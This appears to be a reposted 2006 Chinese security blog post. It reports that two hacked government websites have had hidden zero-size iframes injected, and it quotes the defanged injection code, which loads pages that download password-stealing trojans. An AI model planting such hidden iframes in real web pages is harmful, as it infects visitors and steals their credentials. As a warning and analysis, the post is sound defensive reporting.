两个下载恶意程序文件的政府网站换花样了

客官°小女子只卖身不卖艺 2024-04-20 11:13 55阅读 0赞

**endurer**　原创

2006-08-22 第**1**版

今天又看了看[![authorship.gif][] 两个会自动下载恶意程序文件的政府网站][authorship.gif_] 一文中的两个网站，发现换了花样。

两个网站首页末均被加入：

/---------  
＜iframe src="hxxp://www.wzx\*\*\*qy.com/" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"＞＜/iframe＞  
\---------/

**hxxp://www.wzx\*\*\*qy.com/** 的代码为：  
/---------  
＜script language="javascript" src="hxxp://count1\*\*\*0.51yes.com/click.aspx?id=106674545&logo=8"＞＜/script＞  
＜iframe src=hxxp://www.wzx\*\*\*qy.com/2\*\*/index.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://www.wzx\*\*\*qy.com/1\*\*/index.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://www.wzx\*\*\*qy.com/3\*\*/index.htm width=0 height=0＞＜/iframe＞  
\---------/

分别下载恶意文件：

**qq.exe**  
**zhengtu.exe**（Kaspersky 报为 **Trojan-PSW.Win32.Delf.ob**）  
**jianghu.exe**

[authorship.gif]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/15/2139b465e0c84e248265a02ec61f0f62.gif
[authorship.gif_]: http://blog.csdn.net/Purpleendurer/archive/2006/08/18/1095886.aspx

发表评论取消回复

表情：

评论列表（有 0 条评论，55人围观）

还没有评论，来说两句吧...

相关阅读

相关一个被挂木马的政府网站

*endurer**　原创 2006-09-21　第**1**版该网站首页被加入代码： /-------- ＜script language="JavaS...

布满荆棘的人生/ 2024年04月20日 11:18/ 0 赞/ 78 阅读

相关又一个下载恶意文件的政府网站

*endurer** 原创 2006-08-22 第**1**版首页有3处地方被加入： /-------- ＜iframe height=0 width=0...

旧城等待，/ 2024年04月20日 11:13/ 0 赞/ 74 阅读

相关两个下载恶意程序文件的政府网站换花样了

*endurer**　原创 2006-08-22 第**1**版今天又看了看[![authorship.gif][] 两个会自动下载恶意程序文件的政府网站][aut...

客官°小女子只卖身不卖艺/ 2024年04月20日 11:13/ 0 赞/ 56 阅读

相关分享几个国家标准下载网站

公众号部分粉丝是因为国家标准下载工具这个软件来的。软件起初是因为网上流传的那个小工具失效了，所以我重新写了一个出来。不巧，遇到对方网站更新改版了，现改成收费的了，这个小工具

野性酷女/ 2024年03月22日 14:15/ 0 赞/ 81 阅读

相关传播蠕虫维金/Worm.Viking.cx的QQ尾巴换了花样

endurer　原创 2006-10-01　第 1版 QQ自动发送的信息为： /------- 看看我最近的照片~~~ 才扫描到Q-Zone空间上的。是不是有点太

╰半夏微凉°/ 2024年03月17日 15:02/ 0 赞/ 81 阅读

相关一个会下载至少3个Viking等恶意程序的网站

endurer 原创 2007-06-07 第1版有网友说他的电脑打开某个网站后不久，杀毒软件的实时监控被关闭，系统时间被修改，接着安装各种网络游戏和聊天账号的盗号木马

我就是我/ 2024年02月17日 14:01/ 0 赞/ 55 阅读

相关下载Trojan-PSW.Win32.QQPass.ra等恶意程序的政府网站

endurer 原创 2006-12-01 第1版网页首部被加入两段代码：代码段1： /--------- ＜iframe height＝0 width＝

小咪咪/ 2024年02月17日 13:44/ 0 赞/ 41 阅读

相关两个开源恶意代码的查杀引擎 clamav yara

1. 使用ClamAV分类 ClamAV是开源杀毒引擎，它的应用范围包括突发事件响应、取证、常规恶意软件保护以及恶意软件发现，也可以将ClamAV作为现有的台式机、文

拼搏现实的明天。/ 2022年08月05日 15:05/ 0 赞/ 27 阅读

相关推荐两个软件下载网站：多特和绿盟

第一个推荐 [多特软件站][Link 1]（[http://www.duote.com][Link 1]）：　　推荐理由：人气很高，每个下载页面都有众多用户评论（可用于预先

怼烎@/ 2022年05月15日 06:26/ 0 赞/ 142 阅读

相关几个下载ubuntu的网站

推荐几个ubuntu16.04的下载地址这速度感觉比官网快多了自己的环境试了一下，阿里的速度最快,但是不知道为什么，下载60%之后，就不动了，很郁闷，可能是我

痛定思痛。/ 2022年03月18日 10:24/ 0 赞/ 322 阅读